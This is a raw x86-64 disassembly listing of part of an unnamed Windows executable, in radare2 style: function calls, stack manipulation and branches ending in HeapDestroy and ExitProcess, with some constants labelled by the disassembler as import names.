call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
push reloc.SHELL32.dll_IsNetDrive
pop rcx
pop rdx
sub rsp, 0x20
call fcn.1400cc978
add rsp, 0x28
call fcn.1400f31c0
mov rbp, qword [0x141ef60a0]
mov rcx, qword [rbp + 0x40]
pop rdx
push rcx
mov rcx, rdx
sub rsp, 0x20
call fcn.1400f31f0
add rsp, 0x20
pop rcx
mov rdx, rax
call fcn.1400f3090
or rax, rax
jne 0x14001148c
mov rbp, qword [0x141ef60a0]
push qword [rbp + 0x40]
push reloc.SHELL32.dll_IsNetDrive
pop rcx
pop rdx
call fcn.1400cca10
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
push gethostname
pop rcx
pop rdx
sub rsp, 0x20
call fcn.1400cc978
add rsp, 0x28
call fcn.1400f31c0
push rcx
sub rsp, 0x20
call fcn.1400f2f60
add rsp, 0x20
pop rcx
push rax
movabs rcx, 0x1401c3d14
sub rsp, 0x20
call fcn.1400f30f0
add rsp, 0x20
mov rbp, qword [0x141ef60a0]
mov rcx, qword [rbp + 0x38]
sub rsp, 0x20
call fcn.1400f30f0
add rsp, 0x20
pop rcx
sub rsp, 8
call fcn.1400f31f0
add rsp, 8
mov rcx, rax
pop rdx
push rcx
mov rcx, rdx
sub rsp, 0x20
call fcn.1400f31f0
add rsp, 0x20
pop rcx
mov rdx, rax
call fcn.1400f3090
or rax, rax
jne 0x1400115c8
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
movabs rcx, 0x1401c3d14
sub rsp, 0x28
call fcn.1400f30f0
add rsp, 0x28
mov rbp, qword [0x141ef60a0]
mov rcx, qword [rbp + 0x38]
sub rsp, 0x28
call fcn.1400f30f0
add rsp, 0x28
call fcn.1400f31c0
push gethostname
push rax
call fcn.1400f3190
mov rdx, rax
pop rax
add qword [rsp + 8], rdx
pop rcx
pop rdx
sub rsp, 0x20
call fcn.1400cca10
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.140083cac
add rsp, 0x28
pop rax
jmp 0x140011304
jmp 0x14001179a
push qword [0x141ef57c8]
movabs rcx, 0x1401c10c4
pop rdx
call fcn.1400f3090
or rax, rax
je 0x1400116a6
movabs rax, 0x1401c3d34
push rax
push reloc.SHELL32.dll_IsNetDrive
pop rcx
pop rdx
call fcn.1400cca10
push 0x48
pop rcx
call fcn.1400f1500
mov qword [0x141ef57a0], rax
mov rbp, qword [0x141ef60a0]
mov rcx, qword [rbp + 0x10]
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.1400f30f0
add rsp, 0x28
mov rbp, qword [0x141ef57a0]
lea rcx, [rbp]
pop rdx
call fcn.1400f2fb0
mov rbp, qword [0x141ef57a0]
movabs rdx, 0x1401c10c4
lea rcx, [rbp + 0x10]
call fcn.1400f2e70
mov rbp, qword [0x141ef57a0]
mov dword [rbp + 0x20], SafeArrayGetLBound
mov rbp, qword [0x141ef57a0]
mov dword [rbp + 0x24], 2
push qword [0x141ef57a0]
lea rax, [0x14001a7fa]
mov rax, rax
push rax
pop rcx
pop rdx
call fcn.140084c9c
jmp 0x14001179a
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
push reloc.SHELL32.dll_IsNetDrive
pop rcx
pop rdx
sub rsp, 0x20
call fcn.1400cc978
add rsp, 0x28
call fcn.1400f31c0
mov rcx, qword [0x141ef57c8]
pop rdx
push rcx
mov rcx, rdx
sub rsp, 0x20
call fcn.1400f31f0
add rsp, 0x20
pop rcx
mov rdx, rax
call fcn.1400f3090
or rax, rax
jne 0x14001171c
push qword [0x141ef57c8]
push reloc.SHELL32.dll_IsNetDrive
pop rcx
pop rdx
call fcn.1400cca10
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
push gethostname
pop rcx
pop rdx
sub rsp, 0x20
call fcn.1400cc978
add rsp, 0x28
call fcn.1400f31c0
movabs rcx, 0x1401dcace
pop rdx
push rcx
mov rcx, rdx
sub rsp, 0x20
call fcn.1400f31f0
add rsp, 0x20
pop rcx
mov rdx, rax
call fcn.1400f3090
or rax, rax
jne 0x14001179a
movabs rax, 0x1401dcace
push rax
push gethostname
pop rcx
pop rdx
call fcn.1400cca10
push qword [0x141ef5800]
mov r15, 0x332c
cmp r15, qword [rsp]
jne 0x140011a8a
sub rsp, 8
sub rsp, 0x20
call fcn.1400dc600
add rsp, 0x28
mov rax, rax
push rax
mov r15, 0x57
cmp r15, qword [rsp]
jne 0x14001196d
mov qword [0x141ef5628], 0x28
jmp 0x1400117e4
push 0x57
pop rcx
sub rsp, 0x20
call fcn.1400cca74
add rsp, 0x20
mov r15, rax
dec r15
cmp r15, qword [0x141ef5628]
jl 0x1400118e2
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
push 0
push qword [0x141ef5628]
push 0x57
pop rcx
pop rdx
pop r8
pop r9
sub rsp, 0x20
call fcn.1400ccabc
add rsp, 0x28
lea rcx, [0x141ef5580]
pop rdx
sub rsp, 0x20
call fcn.1400f2fb0
add rsp, 0x20
push qword [0x141ef5628]
push 0x57
pop rcx
pop rdx
sub rsp, 0x20
call fcn.1400ccb1c
add rsp, 0x20
mov r15, rax
and r15, 2
and r15, r15
je 0x1400118d5
movabs rax, reloc.msi.dll_MsiGetActiveDatabase
push rax
push qword [0x141ef5580]
pop rcx
pop rdx
sub rsp, 0x20
call fcn.1400efcc0
add rsp, 0x20
mov r15, rax
and r15, r15
jle 0x1400118d5
push 0
push qword [0x141ef5628]
push 0x57
pop rcx
pop rdx
pop r8
sub rsp, 0x20
call fcn.1400ccb64
add rsp, 0x20
inc qword [0x141ef5628]
jno 0x1400117e4
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
push rcx
sub rsp, 0x20
call fcn.1400f2f60
add rsp, 0x20
pop rcx
push rax
push 0
push 1
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
push rcx
sub rsp, 0x20
call fcn.1400f2f60
add rsp, 0x20
pop rcx
push rax
sub rsp, 0x20
call fcn.140023b1e
add rsp, 0x28
push rax
call fcn.1400f3190
mov rdx, rax
pop rax
add qword [rsp], rdx
pop rcx
pop rdx
pop r8
sub rsp, 0x20
call fcn.14004afe5
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.140083cac
add rsp, 0x28
pop rax
jmp 0x140011a89
mov r15, MsiGetPropertyW
cmp r15, qword [rsp]
jne 0x140011a89
mov qword [0x141ef5628], 0x28
jmp 0x14001198b
push MsiGetPropertyW
pop rcx
sub rsp, 0x20
call fcn.1400cca74
add rsp, 0x20
mov r15, rax
dec r15
cmp r15, qword [0x141ef5628]
jl 0x140011a89
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
push 0
push qword [0x141ef5628]
push MsiGetPropertyW
pop rcx
pop rdx
pop r8
pop r9
sub rsp, 0x20
call fcn.1400ccabc
add rsp, 0x28
lea rcx, [0x141ef5580]
pop rdx
sub rsp, 0x20
call fcn.1400f2fb0
add rsp, 0x20
push qword [0x141ef5628]
push MsiGetPropertyW
pop rcx
pop rdx
sub rsp, 0x20
call fcn.1400ccb1c
add rsp, 0x20
mov r15, rax
and r15, 2
and r15, r15
je 0x140011a7c
movabs rax, reloc.msi.dll_MsiGetActiveDatabase
push rax
push qword [0x141ef5580]
pop rcx
pop rdx
sub rsp, 0x20
call fcn.1400efcc0
add rsp, 0x20
mov r15, rax
and r15, r15
jle 0x140011a7c
push 0
push qword [0x141ef5628]
push MsiGetPropertyW
pop rcx
pop rdx
pop r8
sub rsp, 0x20
call fcn.1400ccb64
add rsp, 0x20
inc qword [0x141ef5628]
jno 0x14001198b
pop rax
add rsp, 8
call fcn.1400dc61c
mov rax, rax
push rax
mov r15, qword [0x141ef5888]
cmp r15, qword [rsp]
jne 0x140011ad4
sub rsp, 8
push qword [0x141ef5800]
pop rcx
sub rsp, 0x20
call fcn.14006cfd1
add rsp, 0x28
and rax, rax
je 0x140011ac6
xor rax, rax
jmp 0x140011acd
mov rax, 1
and rax, rax
je 0x140011ad2
jmp 0x140011b19
xor r15, r15
cmp r15, qword [rsp]
jne 0x140011af7
sub rsp, 8
push qword [0x141ef5800]
pop rcx
sub rsp, 0x20
call fcn.140059e05
add rsp, 0x28
jmp 0x140011b19
mov qword [0x141ef5800], 0
sub rsp, 8
push 5
pop rcx
sub rsp, 0x20
call fcn.1400d76dc
add rsp, 0x28
pop rax
jmp 0x140011b27
push 5
pop rcx
call fcn.1400d76dc
mov r15, qword [0x141ef5980]
and r15, r15
jle 0x140011c98
mov r15, qword [0x141ef5710]
and r15, r15
jle 0x140011be2
push 1
push reloc.WS2_32.dll_ioctlsocket
pop rcx
pop rdx
call fcn.1400cc8e0
mov r15, rax
push qword [0x141ef5568]
pop rcx
call fcn.1400e89ec
cmp r15, rax
jne 0x140011b90
push 0x65
pop rcx
call fcn.1400e89ec
mov rax, rax
push rax
push 1
push reloc.WS2_32.dll_ioctlsocket
pop rcx
pop rdx
pop r8
call fcn.1400cc92c
jmp 0x140011bb3
push qword [0x141ef5568]
pop rcx
call fcn.1400e89ec
mov rax, rax
push rax
push 1
push reloc.WS2_32.dll_ioctlsocket
pop rcx
pop rdx
pop r8
call fcn.1400cc92c
push 0x78
pop rcx
call fcn.14006f03a
push 2
pop rcx
call fcn.1400cc884
mov r15, rax
and r15, r15
je 0x140011be2
push 0
push 2
pop rcx
pop rdx
call fcn.1400cc830
mov r15, qword [0x141ef56f8]
and r15, r15
jle 0x140011c8d
push 1
push 8
pop rcx
pop rdx
call fcn.1400cc8e0
mov r15, rax
push qword [0x141ef5708]
pop rcx
call fcn.1400e89ec
cmp r15, rax
jne 0x140011c3b
push 0x65
pop rcx
call fcn.1400e89ec
mov rax, rax
push rax
push 1
push 8
pop rcx
pop rdx
pop r8
call fcn.1400cc92c
jmp 0x140011c5e
push qword [0x141ef5708]
pop rcx
call fcn.1400e89ec
mov rax, rax
push rax
push 1
push 8
pop rcx
pop rdx
pop r8
call fcn.1400cc92c
push 0x78
pop rcx
call fcn.14006f03a
push 2
pop rcx
call fcn.1400cc884
mov r15, rax
and r15, r15
je 0x140011c8d
push 0
push 2
pop rcx
pop rdx
call fcn.1400cc830
mov qword [0x141ef5800], 0
call fcn.1400dc61c
mov r15, rax
and r15, r15
jne 0x140011cbe
mov r15, qword [0x141ef5800]
cmp r15, 0x333c
jne 0x140011cbe
mov rax, 1
jmp 0x140011cc1
xor rax, rax
and rax, rax
je 0x140010812
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
pop rcx
sub rsp, 0x20
call fcn.1400d9cbc
add rsp, 0x28
movabs rcx, 0x1401cf4ee
sub rsp, 0x28
call fcn.1400f30f0
add rsp, 0x28
push rax
call fcn.1400f3190
mov rdx, rax
pop rax
add qword [rsp], rdx
pop rcx
sub rsp, 0x20
call fcn.1400d9b50
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.140083cac
add rsp, 0x28
pop rax
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
push rcx
sub rsp, 0x20
call fcn.1400f2f60
add rsp, 0x20
pop rcx
push rax
push 0
push 1
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
push rcx
sub rsp, 0x20
call fcn.1400f2f60
add rsp, 0x20
pop rcx
push rax
sub rsp, 0x20
call fcn.140023b1e
add rsp, 0x28
push rax
call fcn.1400f3190
mov rdx, rax
pop rax
add qword [rsp], rdx
pop rcx
pop rdx
pop r8
sub rsp, 0x20
call fcn.14004afe5
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.140083cac
add rsp, 0x28
pop rax
mov r15, qword [0x141ef5670]
and r15, r15
jg 0x140011df3
mov r15, qword [0x141ef53e0]
and r15, r15
jg 0x140011df3
jmp 0x140011dfc
mov rax, 1
jmp 0x140011dff
xor rax, rax
and rax, rax
je 0x14001208d
mov r15, qword [0x141ef53e0]
and r15, r15
jne 0x140011f71
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
push 2
mov rcx, qword [0x141ef59f0]
push rcx
sub rsp, 0x20
call fcn.1400f2f60
add rsp, 0x20
pop rcx
push rax
sub rsp, 0x20
call fcn.1400f30f0
add rsp, 0x20
movabs rcx, 0x1401c1624
sub rsp, 0x20
call fcn.1400f30f0
add rsp, 0x20
push rax
call fcn.1400f3190
mov rdx, rax
pop rax
add qword [rsp], rdx
pop rcx
pop rdx
sub rsp, 0x20
call fcn.1400d9b58
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.140083cac
add rsp, 0x28
pop rax
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
mov rcx, qword [0x141ef59f0]
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.1400f30f0
add rsp, 0x28
movabs rcx, 0x1401c1624
sub rsp, 0x28
call fcn.1400f30f0
add rsp, 0x28
call fcn.1400f31c0
push rcx
sub rsp, 0x20
call fcn.1400f2f60
add rsp, 0x20
pop rcx
push rax
sub rsp, 8
push rcx
sub rsp, 0x20
call fcn.1400f2f60
add rsp, 0x20
pop rcx
push rax
sub rsp, 0x20
call fcn.14001e86a
add rsp, 0x30
movabs rcx, 0x1401c1928
sub rsp, 0x20
call fcn.1400f30f0
add rsp, 0x20
push rax
call fcn.1400f3190
mov rdx, rax
pop rax
add qword [rsp], rdx
push rax
call fcn.1400f3190
mov rdx, rax
pop rax
add qword [rsp + 8], rdx
pop rcx
pop rdx
sub rsp, 0x20
call fcn.1400d9b8c
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.140083cac
add rsp, 0x28
pop rax
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
push 3
movabs rax, 0x1401c10c4
push rax
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
push rcx
sub rsp, 0x20
call fcn.1400f2f60
add rsp, 0x20
pop rcx
push rax
sub rsp, 0x20
call fcn.14001e86a
add rsp, 0x28
push rax
call fcn.1400f3190
mov rdx, rax
pop rax
add qword [rsp], rdx
pop rcx
pop rdx
pop r8
sub rsp, 0x20
call fcn.1400d9d64
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.140083cac
add rsp, 0x28
pop rax
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
push 3
movabs rax, 0x1401c10c4
push rax
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
pop rcx
sub rsp, 0x20
call fcn.1400d9b00
add rsp, 0x28
movabs rcx, 0x1401ca450
sub rsp, 0x28
call fcn.1400f30f0
add rsp, 0x28
push rax
call fcn.1400f3190
mov rdx, rax
pop rax
add qword [rsp], rdx
pop rcx
pop rdx
pop r8
sub rsp, 0x20
call fcn.1400d9d64
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.140083cac
add rsp, 0x28
pop rax
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
mov rcx, qword [0x141ef59f0]
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.1400f30f0
add rsp, 0x28
movabs rcx, 0x1401d7e68
sub rsp, 0x28
call fcn.1400f30f0
add rsp, 0x28
push rax
call fcn.1400f3190
mov rdx, rax
pop rax
add qword [rsp], rdx
pop rcx
sub rsp, 0x20
call fcn.1400d9984
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.140083cac
add rsp, 0x28
pop rax
mov r15, rax
and r15, r15
jle 0x140012195
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
push 2
mov rcx, qword [0x141ef59f0]
push rcx
sub rsp, 0x20
call fcn.1400f2f60
add rsp, 0x20
pop rcx
push rax
sub rsp, 0x20
call fcn.1400f30f0
add rsp, 0x20
movabs rcx, 0x1401d7e68
sub rsp, 0x20
call fcn.1400f30f0
add rsp, 0x20
push rax
call fcn.1400f3190
mov rdx, rax
pop rax
add qword [rsp], rdx
pop rcx
pop rdx
sub rsp, 0x20
call fcn.1400d9b58
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.140083cac
add rsp, 0x28
pop rax
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
push qword [0x141ef5910]
push rcx
sub rsp, 0x20
call fcn.1400f2f60
add rsp, 0x20
pop rcx
push rax
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
pop rcx
sub rsp, 0x20
call fcn.1400a2b8c
add rsp, 0x20
push rax
call fcn.1400f3190
mov rdx, rax
pop rax
add qword [rsp], rdx
pop rcx
pop rdx
sub rsp, 0x20
call fcn.1400efcc0
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.140083cac
add rsp, 0x28
pop rax
mov r15, rax
and r15, r15
jle 0x140012217
call fcn.140078216
jmp 0x140012219
call 0x14001223b
call fcn.1400f2dd0
mov rcx, qword [0x141ef53a0]
call sub.KERNEL32.dll_HeapDestroy
mov rcx, qword [0x141ef53b0]
call sub.KERNEL32.dll_ExitProcess
sub rsp, 0x28
call fcn.140084a8c
call fcn.140085370
call fcn.1400a3958
call fcn.1400a5140
call fcn.1400a5330
call fcn.1400a5f64
call fcn.1400c8e34
call fcn.1400c9f4c
call fcn.1400cc6a0
call fcn.1400d7840
call fcn.1400da0a0
call fcn.1400dabe0
call fcn.1400dc3f8
call fcn.1400dd910
call fcn.1400e86d0
call fcn.1400eb340
call fcn.1400ef6a0
call fcn.1400f1df8
call fcn.1400f1f38
call fcn.1400f14d0
add rsp, 0x28
ret